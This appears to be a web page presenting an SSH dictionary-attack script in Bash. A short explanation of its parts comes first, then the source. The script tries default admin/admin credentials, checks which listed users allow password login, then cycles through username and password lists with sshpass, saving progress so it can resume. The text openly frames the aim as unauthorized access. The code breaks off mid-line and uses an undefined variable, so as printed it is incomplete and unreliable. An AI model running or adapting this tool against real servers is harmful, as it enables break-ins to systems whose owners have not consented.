bruteforcer ssh

These parts collectively implement a dictionary attack against an SSH server, attempting to gain unauthorized access by trying various username-password combinations from provided dictionaries.

Dictionary Attack

A dictionary attack is a type of brute force attack technique used to gain unauthorized access to a system or an account by systematically entering every word in a pre-existing list (dictionary) of possible passwords. Instead of trying every possible combination of characters, as in a traditional brute force attack, a dictionary attack relies on trying a set of likely passwords derived from commonly used passwords, words from dictionaries, and other sources.

Explanation of Code Parts:

  1. Reading Command Line Arguments (read_args function):

    • This part of the code reads the command-line arguments provided when executing the script. It parses the arguments to extract options like IP address, TCP port, slow down factor, paths to password and username files, and handles displaying version and help information.

  2. Checking Arguments (check_args function):

    • This section validates the provided arguments to ensure they are correct and appropriate for the dictionary attack.

    • It verifies the existence of necessary utilities like sshpass and checks the validity of IP address, TCP port, and provided file paths.

    • Additionally, it checks if SSH connection can be established using default credentials, and if password authentication is enabled for the provided usernames.

  3. Launching the Attack (launch_attack function):

    • This part initiates the dictionary attack by iterating over each username and password combination.

    • For each username, it iterates through the list of passwords, attempting to authenticate using SSH with the provided credentials.

    • It spawns parallel SSH sessions to speed up the attack, trying multiple password attempts simultaneously.

  4. Handling Signals (monitor_signal function):

    • This section sets up signal handlers to trap signals like SIGHUP, SIGTERM, SIGQUIT, SIGINT, and SIGTSTP.

    • It ensures that when the script is terminated or interrupted, it kills any ongoing SSH processes spawned during the attack.

#!/usr/bin/env bash

# Start time of the program
declare -r START_TIME=$(date +%s.%N)   

function usage { 
  echo -e "Usage: $0 [OPTIONS]"
  echo "OPTIONS: "
  echo -e "   -a    IP address of SSH server"
  echo -e "   -d    TCP port 1 - 65535 of SSH server"
  echo -e "   -n    slow down or speed up attack for number of seconds"
  echo -e "         e.g. 1, 0.1, 0.0, default value is 0.1"
  echo -e "   -p    path to file with passwords"
  echo -e "   -u    path to file with usernames"
  echo -e "   -v    display version"
  echo -e "   -h    display help"
}

function version {
  echo -e "getsshpass.sh 0.9"
  echo -e "Copyright (C) 2016 Radovan Brezula 'brezular'"
  echo -e "Code additions by Blai Peidro"
  echo -e "License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>."
  echo -e "This is free software: you are free to change and redistribute it."
  echo -e "There is NO WARRANTY, to the extent permitted by law."
  exit
}

function read_args {
 while getopts "a:d:n:p:u:hv" arg; do
    case "$arg" in
       a) ip="$OPTARG";;
       d) port="$OPTARG";;
       n) nval="$OPTARG";;
       p) passlist="$OPTARG"
          initpasslist="$passlist";;
       u) userlist="$OPTARG"
          inituserlist="$userlist";;
       v) version;;
       h) usage
          exit;;
    esac
 done
}

function check_args {
 pthdir="$(dirname "$0")"

 if [ -f "$pthdir/x0x901f22result.txt" ]; then
    pass=$(grep -o "d: '.*'" "$pthdir/x0x901f22result.txt" | cut -d ":" -f2)
    echo "File '$pthdir/x0x901f22result.txt' contains saved password:$pass, nothing to do" && exit
 fi

 if ! command -v sshpass &>/dev/null; then
    echo "Utility 'sshpass' not found, exiting"
    exit
 fi

 if [ -z "$ip" ]; then
    echo "IP address can't be empty, exiting"
    usage
    exit
 elif ! [[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
    echo "'$ip' is not a valid IP address, exiting"
    usage
    exit
 fi

 nval=${nval:-0.1}

 if [ -z "$port" ] || ! [[ $port =~ ^[0-9]+$ ]]; then
    echo "TCP port must be a number and can't be empty, exiting"
    usage
    exit
 elif [ "$port" -gt 65535 ] || [ "$port" -lt 1 ]; then
    echo "TCP port must be in range 1 - 65535"
    usage
    exit
 fi

 if [ ! -f "$passlist" ]; then
    echo "Can't find file with list of passwords, exiting"
    usage
    exit
 fi

 if [ ! -f "$userlist" ]; then
    echo "Can't find file with list of users, exiting"
    usage
    exit
 fi

# Check SSH connection 
echo -n "Checking SSH connection to '$ip': "
if sshpass -p admin ssh -o StrictHostKeyChecking=no -o ConnectTimeout=8 -p "$port" admin@"$ip" exit &>/dev/null; then
    echo "*** OK ***"
    echo "*** Found username: 'admin' and password: 'admin' ***"  > "$pthdir/x0x901f22result.txt"
    evaluate_result
else
    rvalssh=$?
    if [ "$rvalssh" == 255 ]; then
        echo "*** FAIL ***"
        echo "*** Can't establish SSH connection to '$ip', exiting ***" && exit
    else
        echo "*** OK ***"
    fi
fi

# Check each username in the user list to see if it has password authentication enabled on the target
> "$pthdir/x092userlist.txt" # erase file on every new execution of this script
while read -r user; do
  if ssh -o BatchMode=yes -o ConnectTimeout=5 "$user@$ip" echo ok 2>&1 | grep -q "password"; then
    echo "$user" >> "$pthdir/x092userlist.txt"
  fi
done < "$userlist"

userlist="$pthdir/x092userlist.txt"      # new user list
fulluserlist="$pthdir/x092userlist.txt"  # new user list

# Read saved username and password from file 01xza01.txt, if file exists read saved credentials from file
if [ -f "$pthdir/01xza01.txt" ]; then
   read -r lastuser lastpass < "$pthdir/01xza01.txt"
   echo "Found file: '$pthdir/01xza01.txt' containing previously saved username: '$lastuser' and password: '$lastpass'"
   echo "Restoring attack using username '$lastuser' and password '$lastpass'" 
   row1user=$(grep -wno "^$lastuser$" "$userlist") || rvaluser="$?"
   row1pass=$(grep -wno "^$lastpass$" "$passlist") || rvalpass="$?"
   
   if [ -z "$rvaluser" ]; then
      rowuser=$(echo "$row1user" | cut -d ":" -f1)
      tail -n +"$rowuser" "$userlist" > "$userlist.new"
      userlist="$userlist.new"
  fi

   if [ -z "$rvalpass" ]; then
     rowpass=$(echo "$row1pass" | cut -d ":" -f1)
     tail -n +"$rowpass" "$passlist" > "$passlist.new"
     passlist="$passlist.new"
   fi 
else
   [ ! -f "$pthdir/01xza01.txt" ] && echo "Warning: Can't find file containing last used username and password in directory '$pthdir', starting from beginning"
fi

maxusercount=$(wc -l < "$fulluserlist")
maxpasscount=$(wc -l < "$fullpasslist")
maxcount=$((maxusercount * maxpasscount))
[ ! -f "$pthdir/01xza01.txt" ] && actualcount=1
}

function parallel_ssh {
 echo "$user":"$pass" > "$pthdir/01xza01.txt"
 if sshpass -p "$pass" ssh -o StrictHostKeyChecking=no -p "$port" "$user"

Display:

Last updated